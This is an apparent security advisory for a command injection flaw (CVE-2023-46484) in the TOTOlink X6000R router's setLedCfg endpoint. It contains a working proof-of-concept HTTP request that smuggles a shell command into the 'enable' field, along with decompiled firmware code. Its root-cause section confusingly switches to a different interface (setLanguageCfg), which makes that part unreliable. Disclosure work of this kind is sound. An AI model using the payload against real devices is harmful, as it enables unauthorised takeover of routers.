Headline
CVE-2023-46484: TOTOlink X6000R command injetction (setLedCfg)
An issue in TOTOlink X6000R V9.4.0cu.852_B20230719 allows a remote attacker to execute arbitrary code via the setLedCfg function.
TOTOlink X6000R command injection****Product Information
Device: TOTOlink X6000R
Firmware version: V9.4.0cu.852_B20230719
Manufacturer’s website information:https://www.totolink.net/
The firmware download address:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/247/ids/36.html
Vulnerability description
There is arbitrary command execution on the setLedCfg interface of cstecgi .cgi
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /cgi-bin/cstecgi.cgi HTTP/1.1Host: 172.28.60.132Content-Length: 55Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://172.28.60.132Referer: http://172.28.60.132/basic/qos.html?time=1694023460381Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"enable":"`ls>/web/test5.txt`","topicurl":"setLedCfg"}
Inject commands: “ls>/web/test5.txt”
Test results.
1
2
3
4
5
6
7
8
9
10
GET /test5.txt HTTP/1.1Host: 172.28.60.132Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
Analysis
The following functions in shttp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall sub_411F90(__int64 a1, __int64 a2){ const char *v3; // x20 unsigned int v4; // w19 v3 = (const char *)sub_40BD6C(a1, "enable"); v4 = atoi(v3); if ( *v3 && v4 <= 1 ) { Uci_Set_Str(11LL, "main", "led_status", v3); Uci_Commit(11LL); set_led_status(v4); } datconf_set_by_key("/var/cste/temp_status", "mesh_update", "1"); sub_40BDA0(a2, 1LL, "", 0LL, "0", "reserv"); return 0LL;}
There is an enable variable command splicing to bypass the execution, without any filtering!
The root cause comes from the following
Since the Uci_Set_Str function command arguments of the libcscommon.so library in shttpd are susceptible to operating system command injection. When the program calls get_uci2json, it will call Uci_Set_Str in the so library, causing arbitrary command execution, and the permissionless operation of the interface setLanguageCfg leads to unauthorized arbitrary command execution.
In this part of shttpd, the relevant language settings are called
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
__int64 __fastcall sub_4117F8(__int64 a1, __int64 a2){ const char *v4; // x22 const char *v5; // x23 int v6; // w0 int v8; // [xsp+44h] [xbp+44h] BYREF char s[8]; // [xsp+48h] [xbp+48h] BYREF __int64 v10; // [xsp+50h] [xbp+50h] __int64 v11; // [xsp+58h] [xbp+58h] __int64 v12; // [xsp+60h] [xbp+60h] __int64 v13; // [xsp+68h] [xbp+68h] __int64 v14; // [xsp+70h] [xbp+70h] __int64 v15; // [xsp+78h] [xbp+78h] __int64 v16; // [xsp+80h] [xbp+80h] __int64 v17[8]; // [xsp+88h] [xbp+88h] BYREF v4 = (const char *)sub_40BD6C(a1, "lang"); v5 = (const char *)sub_40BD6C(a1, "langAutoFlag"); v8 = 0; *(_QWORD *)s = 0LL; v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; memset(v17, 0, sizeof(v17)); Uci_Set_Str(); Uci_Get_Int(11LL, "main", "lang_auto_flag", &v8); v6 = atoi(v5); if ( v6 != v8 ) Uci_Set_Str(); Uci_Commit(11LL); snprintf(s, 0x40uLL, "helpurl_%s", v4); Uci_Get_Str(15LL, "custom", s, v17); if ( LOBYTE(v17[0]) ) { *(_QWORD *)s = 0LL; v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; snprintf(s, 0x40uLL, "http://%s", (const char *)v17); } else { strcpy(s, ""); } sub_40BDA0(a2, 1LL, "", 0LL, "0", s); return 0LL;}
现在来看libcscommon.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ABEL_57: while ( 1 ) { off_2AB30(v12, 1024LL, "uci -c %s set %s.%s.%s=\"%s\"", v9, v10, a2, a3, a4); off_2AD78(v12, 0LL); result = 1LL;LABEL_58: if ( v13 == *(_QWORD *)off_2A970 ) break; off_2AC18();LABEL_60: v9 = "/tmp/cste/"; v10 = "system_status"; } return result;
The off_2AD78 of them is LOAD:000000000002AD78 18 60 00 00 00 00 00 00 off_2AD78 DCQ CsteSystem
That is, system